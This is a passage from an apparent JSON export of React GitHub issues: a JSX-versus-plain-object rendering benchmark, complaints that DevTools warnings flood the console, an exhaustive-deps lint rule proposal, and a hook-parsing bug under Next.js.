\"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n [\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n ),\r\n ce(\r\n \"div\",\r\n null,\r\n \"Текст\"\r\n )\r\n ]\r\n )\r\n ]\r\n )\r\n );\r\n}\r\n\r\nconsole.time(\"time-jsx\");\r\n\r\nconst resultJsx = compJsx();\r\n\r\nconsole.timeEnd(\"time-jsx\");\r\n\r\nconst compVDom = () => {\r\n return {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\":\r\n \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\"\r\n : null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\":\r\n \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\":\r\n \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\"\r\n : \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": [{\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }, {\r\n \"type\": \"div\",\r\n \"props\": null,\r\n \"childrens\": \"Текст\"\r\n }\r\n ]\r\n }\r\n ]\r\n };\r\n}\r\n\r\nconsole.time(\"time-vdom\");\r\n\r\nconst resultVDom = compVDom();\r\n\r\nconsole.timeEnd(\"time-vdom\");\r\n\r\nconsole.log(\"Result JSX length:\", JSON.stringify(resultJsx).length);\r\n\r\nconsole.log(\"Result VDom length:\", JSON.stringify(resultVDom).length);\r\n ```\r\n \r\n
\r\n\r\n\r\n### also...\r\n\r\nThis optimization will allow progressive view calculation and rendering.\r\n\r\nThe current implementation has the following problem. Calculation is made from depth to upwards. These calculations cannot be interrupted. Heavy calculations will block animations in the browser.\r\n```javascript\r\n_jsx(\r\n \"div\",\r\n {},\r\n [\r\n _jsx(\r\n \"div\",\r\n {},\r\n [\r\n _jsx( // <-- must call first\r\n \"div\",\r\n {},\r\n \"Текст\"\r\n )\r\n ]\r\n )\r\n ]\r\n)\r\n```\r\n\r\nIn VDom version you can make calculation of dom from top to bottom and make separation of calculations by 16 ms for unblocked browser animations.\r\n```javascript\r\n{\r\n type: \"div\", // <-- must call first\r\n props: {},\r\n childrens: [\r\n {\r\n type: \"div\",\r\n props: {},\r\n childrens: [\r\n {\r\n type: \"div\",\r\n props: {},\r\n childrens: \"Текст\"\r\n }\r\n ]\r\n }\r\n ]\r\n}\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25533/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25447", "id": 1401637797, "node_id": "I_kwDOAJy2Ks5Ti0ul", "number": 25447, "title": "[DevTools Bug]: Warnings are too \"loud\", mislabeled and make console difficult to use", "user": { "login": "Sequoia", "id": 317498, "node_id": "MDQ6VXNlcjMxNzQ5OA==", "avatar_url": "https://avatars.githubusercontent.com/u/317498?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Sequoia", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 18, "created_at": "2022-10-07T20:28:41Z", "updated_at": "2025-03-24T11:33:04Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://codesandbox.io/s/purple-moon-ts7xzs?file=/src/App.js\r\n\r\n### Repro steps\r\n\r\nIt's not causing this in the codesandbox probably due to some flag missing, but locally in dev I've been getting the following when a stray prop is passed to a dom elem as an attribute (_NB this output is **truncated**, this isn't even the whole message_):\r\n\r\n![Screen Shot 2022-10-07 at 10 39 51 AM](https://user-images.githubusercontent.com/317498/194645730-159ea8cf-7d7c-49f3-b5b3-7caaf5384b44.png)\r\n\r\n## Problems with the current logging approach\r\n\r\n1. **This floods the console and pushes all other messages out of screen, making debugging difficult.** This is the main issue.\r\n2. The severity/\"loudness\" of this log message is out of proportion to the issue. This is a fairly minor issue as it typically does not actually break anything, yet this log drowns out actual issues that I need to see more urgently\r\n3. This issue's importance is being misclassified & the wrong logging API used: `console.error` is being misused to log a warning. The purpose of different log levels is to allow the consumer (developer) to enable or disable logging of less important messages depending on their needs. Putting warnings in the \"error\" stream **takes this control away from developers**. When I am cleaning up upgrade issues, minor bugs etc. I will turn on warnings and see this, but when I'm trying to figure out why my GQL endpoints are erroring, I should be able to turn this off.\r\n\r\n## Ask\r\n\r\nMy goal is to stop this effectively \"breaking\" the error console, i.e. making it unusable by flooding it with messages. Possible approaches:\r\n\r\n1. move these warnings to console.warn, putting control back in the developer/consumer's hands\r\n2. flag to disable the stack traces so messages aren't so enormous\r\n3. use [console.groupCollapsed](https://developer.mozilla.org/en-US/docs/Web/API/console/groupCollapsed) to collapse these, so the stack is there but doesn't flood the console\r\n\r\n## FAQ\r\n\r\n### Why don't you just fix the errors? If you fix the errors, this isn't an issue. The solution is fix the errors.\r\n\r\nI don't mean to brag, but I work on applications with *lots* of errors. I truly wish I could fix every single one, but I must pick my battles and this often means letting smaller issues slide in order to focus on bigger ones. Furthermore, when working on a shared application, it can be out of your power to fix all the errors. There are several reasonable reasons why someone would want to work on their application and ignore certain errors, at least temporarily.\r\n\r\nIn any event, \"this is a valid error message so why should it be quieter\" doesn't address the question of *proportionality*. Should a warning like this overtake the whole console? Should it use `window.alert`? Should it bail out and crash the whole application? It's clear that these approaches to alerting the developer/consumer to an issue are not proportional with the severity of the issue itself, and these more drastic approaches would be inappropriate, even if they \"draw the developer/user's attention to the issue\" as this clearly does. **Not every issue is p0** which is why we have log levels, and in this context different log streams (info, warning, and error).\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25447/reactions", "total_count": 22, "+1": 22, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25443", "id": 1400306693, "node_id": "I_kwDOAJy2Ks5TdvwF", "number": 25443, "title": "[Feature Request] exhaustive-deps linting rule: allow custom hooks to specify the index of their callback effect", "user": { "login": "ReillyBova", "id": 33428722, "node_id": "MDQ6VXNlcjMzNDI4NzIy", "avatar_url": "https://avatars.githubusercontent.com/u/33428722?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ReillyBova", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2022-10-06T21:12:29Z", "updated_at": "2024-05-14T18:18:22Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "# Background\r\nCurrently, the `react-hooks/exhaustive-deps` linting rule allows developers to lint custom hooks. E.g.:\r\n\r\n```\r\n{\r\n \"rules\": {\r\n // ...\r\n \"react-hooks/exhaustive-deps\": [\"warn\", {\r\n \"additionalHooks\": \"(useMyCustomHook|useMyOtherCustomHook)\"\r\n }]\r\n }\r\n}\r\n```\r\n\r\nWhile the [official documentation](https://www.npmjs.com/package/eslint-plugin-react-hooks) for this configuration states \"We suggest to use this option **very sparingly, if at all**\", there are nonetheless certain custom hook cases that necessitate such an approach. Consider the following scenario: (1) a callback needs to hook into an external system (thus requiring an effect), (2) the callback has dependencies on state / props and needs to reexecute when those change, (3) executing that callback can be arbitrarily expensive, so re-executing every render is not an option.\r\n\r\n# Motivation\r\nTo meet this challenge, we have two options: (1) treat the callback reference as sufficiently reactive (by this I mean, referentially stable unless a dependency has changed) — in other words, we assume the user of the hook is passing in a callback that was defined via useCallback, with the appropriate dependencies; (2) accept dependencies in the custom hook itself, wrap the function in a `useEvent` / `useEventHandler` style hook for referential stability, apply the dependencies to whatever effect the function is then executed within.\r\n\r\nIf we go with option (1) we have an obvious shortcoming — there's no way to ensure the user is wrapping their callback in useCallback. From personal experience on a large industry project with lots of developers, this is just not a viable option. Option (2) on the other hand meets all our needs, and via the `additionalHooks` config, we can ensure correctness by linting for exhaustive dependencies.\r\n\r\n# The Problem\r\nGreat! We've met our challenge with a robust solution and easy to use solution, however...... what if our hook accepts a third, or fourth arg? Well, the [current implementation](https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/src/ExhaustiveDeps.js#L1737) of exhaustive-deps only allows for the [callback, deps] args to occupy arg0 and arg1 of our custom hook (e.g., `useCustomHook(effectCallback, effectDeps)`). While we can still get everything to \"work\", this because more than a minor headache if a hypothetical arg2 we want to add contains some of the most important contextual information. This pain is particularly acute because callbacks are (preferably) defined inline within hooks, and so they'll have a tendency push any succeeding args pretty far down, making them almost seem irrelevant.\r\n\r\n## An example from React\r\nWhile this is ultimately an issue of style, the resulting requirement forces custom hooks that need the exhaustive deps rule into a very awkward argument pattern. It seems I'm not alone, as React's own [`useImperativeHandle`](https://reactjs.org/docs/hooks-reference.html#useimperativehandle) seems to agree in the preferred structure for hooks that accept effectful callbacks with deps. In the case of useImperativeHandle, the most important, unique, and concise value — the `ref` — is passed first, and only then followed by the more verbose and less information-dense callback + deps args.\r\n\r\n## The Proposal\r\nAllowing developers to add their custom hooks to the linting tool is genuinely useful, but it does come with the significant caveat that the effect and deps have to be used as the first two args. I propose either of the following revisions:\r\n\r\n1. The additionalHooks rule be modified to alternatively accept an object of the form `{ [callbackArgIndex: number]: customHookRegex }`. For instance, adding a rule for `useImperativeHandle` would look like\r\n```\r\n\"additionalHooks\": { 1: \"useImperativeHandle\" }\"\r\n```\r\n\r\n2. Instead, the behavior of the rule should be altered to assume that the callback and the dependencies occupy the final two arguments of any given custom hook. This pattern seems consistent with how all native hooks with callback-deps patterns are defined, and so it seems to be a better \"default assumption\" over the current approach. \r\n\r\nIf this proposal is not moved forward with, I highly recommend that the documentation for the linting rule at least be updated to clarify that the linted callback and dependencies must occupy the first two arguments of any custom hook. Mine was failing silently and it took a deep dive into the implementation to understand what was going on!", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25443/reactions", "total_count": 23, "+1": 22, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25427", "id": 1397470538, "node_id": "I_kwDOAJy2Ks5TS7VK", "number": 25427, "title": "[DevTools Bug]: Hook parsing failed for default Next.js configuration", "user": { "login": "rossng", "id": 565371, "node_id": "MDQ6VXNlcjU2NTM3MQ==", "avatar_url": "https://avatars.githubusercontent.com/u/565371?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rossng", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2022-10-05T09:00:01Z", "updated_at": "2023-03-16T03:42:24Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://github.com/vercel/next.js/tree/canary/examples/blog-starter\r\n\r\n### Repro steps\r\n\r\n1. Create an instance of the official Next.js blog starter template, e.g. `yarn create next-app --example blog-starter blog-starter`\r\n2. Run `yarn dev` (or equivalent) inside the created project.\r\n3. Go to the webpage (normally `http://localhost:3000`) and open the React devtools\r\n4. Enable 'Always parse hook names from source' in the devtool options\r\n5. Observe the error 'Hook parsing failed':\r\n \"image\"\r\n\r\nNote: Next.js does not allow you to change the source map format (`devtool`) setting so it's rather difficult to work around this issue.\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25427/reactions", "total_count": 24, "+1": 20, "-1": 0, "laugh": 0, "hooray": 0, "confused": 1, "heart": 0, "rocket": 0, "eyes": 3 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25415", "id": 1396477074, "node_id": "I_kwDOAJy2Ks5TPIyS", "number": 25415, "title": "[DevTools Bug]: \"Message length exceeded maximum allowed length\" when profiling a complex application", "user": { "login": "joshkel", "id": 476338, "node_id": "MDQ6VXNlcjQ3NjMzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/476338?v=4", "gravatar_id": "", "url": "https://api.github.com/users/joshkel", "type": "User", "user_view_type": "public", "site_admin": false }, 